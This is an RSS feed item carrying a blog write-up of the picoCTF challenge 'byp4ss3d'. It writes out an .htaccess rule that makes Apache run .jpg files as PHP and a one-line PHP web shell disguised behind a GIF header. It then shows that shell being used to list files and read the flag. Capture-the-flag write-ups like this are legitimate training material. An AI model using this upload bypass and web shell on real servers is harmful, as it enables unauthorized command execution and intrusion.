<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sanjay V N on Medium]]></title>
        <description><![CDATA[Stories by Sanjay V N on Medium]]></description>
        <link>https://medium.com/@sanjayrayakottai?source=rss-8f6b670b0c52------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*SsZe6n0nUmRM1SefEryBxA.jpeg</url>
            <title>Stories by Sanjay V N on Medium</title>
            <link>https://medium.com/@sanjayrayakottai?source=rss-8f6b670b0c52------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 06:30:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sanjayrayakottai/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I cracked byp4ss3d (picoCTF)]]></title>
            <link>https://medium.com/@sanjayrayakottai/how-i-cracked-byp4ss3d-picoctf-d9e4259710f9?source=rss-8f6b670b0c52------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9e4259710f9</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[byp4ss3d]]></category>
            <dc:creator><![CDATA[Sanjay V N]]></dc:creator>
            <pubDate>Tue, 06 Jan 2026 06:45:04 GMT</pubDate>
            <atom:updated>2026-01-06T06:45:04.878Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*nAlHQ1F9z8ydEETFt3mLMg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/1*SfQSsWJxGQ1COKIewKpH4w.png" /><figcaption>HINT 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*_hAdLD2OEC9LeDCePZ8cPA.png" /><figcaption>HINT 2</figcaption></figure><h3>Initial Reconnaissance</h3><blockquote>When I first encountered the challenge, the description immediately caught my attention: “University login portal which only allows png, jpg, gif.” This statement screamed <strong>file upload vulnerability</strong>. The restrictive file type policy — limiting uploads to image formats only — is a classic sign that developers attempted to secure file upload functionality, but often insecurely.</blockquote><h3><strong>Testing the Upload Mechanism</strong></h3><p>My first step was to understand the application’s filtering mechanism. I began uploading various file types to see what would happen:</p><ol><li><strong>PHP files</strong> (shell.php) - Blocked</li><li><strong>C files</strong> (test.c) - Accepted!</li><li><strong>PDF files</strong> (document.pdf) - Accepted!</li></ol><p>This was my first clue. The application claimed to only accept png, jpg, and gif files, but it actually accepted PDFs without complaint. This inconsistency revealed flawed validation logic—either on the client side only or with an incomplete server-side implementation.</p><h3>The Game-Changing Discovery</h3><p>After a successful PDF upload, the application displayed something crucial:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/262/1*y5KXuRl8KfNKQcGT_9NW6w.png" /></figure><p>After identifying the potential file upload vulnerability, my next logical step was to explore the /images directory where uploaded files were presumably stored. I navigated to:</p><pre>http://amiable-citadel.picoctf.net:62301/images</pre><p><strong>Result:</strong> A frustrating 403 Forbidden error greeted me. Apache&#39;s default directory listing was disabled, and without an index.html or index.php file, the server refused to show me what was inside.</p><h3>The Critical Hint</h3><p>Fortunately, the challenge provided hints, and one keyword stood out: <strong>.htaccess</strong>. As a relatively new penetration tester, this wasn&#39;t a file I was intimately familiar with, so I dove into research mode.</p><h3><strong>What I learned about .htaccess</strong></h3><p>.htaccess is Apache&#39;s directory-level config file that controls:</p><ul><li>Directory listings (Options +Indexes)</li><li>File execution rules</li><li>Access permissions</li></ul><p>then i started thinking how to modify this to allow php file so I started doing research then I found this</p><pre># Enable execution of .jpg as PHP<br>AddHandler application/x-httpd-php .jpg<br>AddType application/x-httpd-php .jpg</pre><p>Above line which treats jpg file as php</p><pre>GIF89a;  <br>&lt;?php<br>if(isset($_GET[&#39;cmd&#39;])) {<br>    system($_GET[&#39;cmd&#39;]);<br>}</pre><p>Above code : GIF89a = Fake GIF header to bypass some checks</p><p>then the php code which executes simple shell which I named it as shell.jpg</p><p>and I started uploading files first .htaccess file then shell.jpg file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*gbDLrycB1Ku5Tsv2xJdNLg.png" /></figure><p>When i uploaded shell.jpg and accessed it shown me this. next I started manipulating url like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0EU-HAvW2OxiUnoJBrUwGw.png" /></figure><pre>http://amiable-citadel.picoctf.net:62301/images/shell.jpg?cmd=ls -la</pre><p>which successfully listed files it contained so i started doing and trying different things then I did this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*TFuQ89k1PW7cVKHfVBqDmw.png" /></figure><pre>http://amiable-citadel.picoctf.net:62301/images/shell.jpg?cmd=cat+../../flag.txt</pre><p>That’s it guys . this is how I cracked byp4ss3d (picoCTF)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9e4259710f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>